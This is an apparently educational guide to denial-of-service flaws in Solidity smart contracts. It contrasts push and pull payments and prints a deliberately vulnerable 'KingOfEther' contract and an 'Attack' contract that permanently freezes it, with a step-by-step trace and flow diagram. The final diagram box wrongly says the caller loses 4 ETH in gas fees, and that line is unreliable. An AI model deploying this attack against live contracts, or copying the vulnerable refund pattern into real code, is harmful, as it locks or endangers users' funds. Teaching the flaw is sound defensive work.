Denial of Service (DoS) Vulnerability - Complete Guide

What is a DoS Attack in Smart Contracts?

A Denial of Service (DoS) attack makes a smart contract unusable or prevents legitimate users from interacting with it. Unlike traditional DoS attacks that overwhelm servers, smart contract DoS attacks exploit code logic to permanently break functionality.

Core Concept: The Push vs Pull Pattern Problem

❌ Push Pattern (Vulnerable)

// Contract PUSHES funds to users
function refund() public {
    user.call{value: amount}("");  // Contract initiates transfer
    // If this fails, entire transaction fails!
}

✅ Pull Pattern (Safe)

// Users PULL funds from contract
function withdraw() public {
    // Users initiate their own transfers
    // One user's failure doesn't affect others
}

Vulnerability #1: Refund Failure DoS

The Vulnerable Contract

contract KingOfEther {
    address public king;
    uint256 public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        // ❌ VULNERABLE: Sending Ether to previous king
        (bool sent,) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");  // <- Attack point!

        balance = msg.value;
        king = msg.sender;
    }
}

Why It's Vulnerable

The Problem Chain:
1. Contract tries to refund previous king
2. If refund fails → entire transaction reverts
3. Attacker can intentionally make refund fail
4. Result: No one can ever claim throne again!

The Attack Contract

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    // ❌ NO fallback or receive function
    // Contract CANNOT receive Ether!

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
        // Now Attack is king, but can't receive refunds
    }
}

Attack Execution Step-by-Step

INITIAL STATE:
├─ King: Alice
├─ Balance: 1 ETH
└─ Status: Working ✅

STEP 1: Bob claims throne (2 ETH)
├─ Refund Alice: 1 ETH ✅
├─ New King: Bob
├─ Balance: 2 ETH
└─ Status: Working ✅

STEP 2: Attack contract claims throne (3 ETH)
├─ Refund Bob: 2 ETH ✅
├─ New King: Attack
├─ Balance: 3 ETH
└─ Status: Working ✅

STEP 3: Charlie tries to claim throne (4 ETH)
├─ Try to refund Attack: 3 ETH
│   └─ Attack has no fallback/receive
│   └─ Transfer FAILS ❌
├─ require(sent) reverts entire transaction
├─ King: Still Attack
└─ Status: PERMANENTLY BROKEN 🔴

RESULT: Game is frozen forever!

Visual Flow Diagram

┌─────────────────────────────────────────┐
│  Charlie sends 4 ETH to claimThrone()   │
└─────────────────────────────────────────┘
                    │
                    ▼
┌─────────────────────────────────────────┐
│  Check: msg.value > balance?            │
│  4 ETH > 3 ETH ✅                        │
└─────────────────────────────────────────┘
                    │
                    ▼
┌─────────────────────────────────────────┐
│  Try to refund previous king (Attack)   │
│  king.call{value: 3 ETH}("")            │
└─────────────────────────────────────────┘
                    │
                    ▼
┌─────────────────────────────────────────┐
│  Attack Contract:                       │
│  ❌ No receive() function               │
│  ❌ No fallback() function              │
│  ❌ Cannot accept Ether                 │
└─────────────────────────────────────────┘
                    │
                    ▼
┌─────────────────────────────────────────┐
│  Transfer FAILS                         │
│  sent = false                           │
└─────────────────────────────────────────┘
                    │
                    ▼
┌─────────────────────────────────────────┐
│  require(sent, "Failed to send Ether")  │
│  REVERTS entire transaction ❌          │
└─────────────────────────────────────────┘
                    │
                    ▼
┌─────────────────────────────────────────┐
│  Charlie loses 4 ETH gas fees           │
│  King remains: Attack                   │
│  Contract permanently locked 🔒         │
└─────────────────────────────────────────┘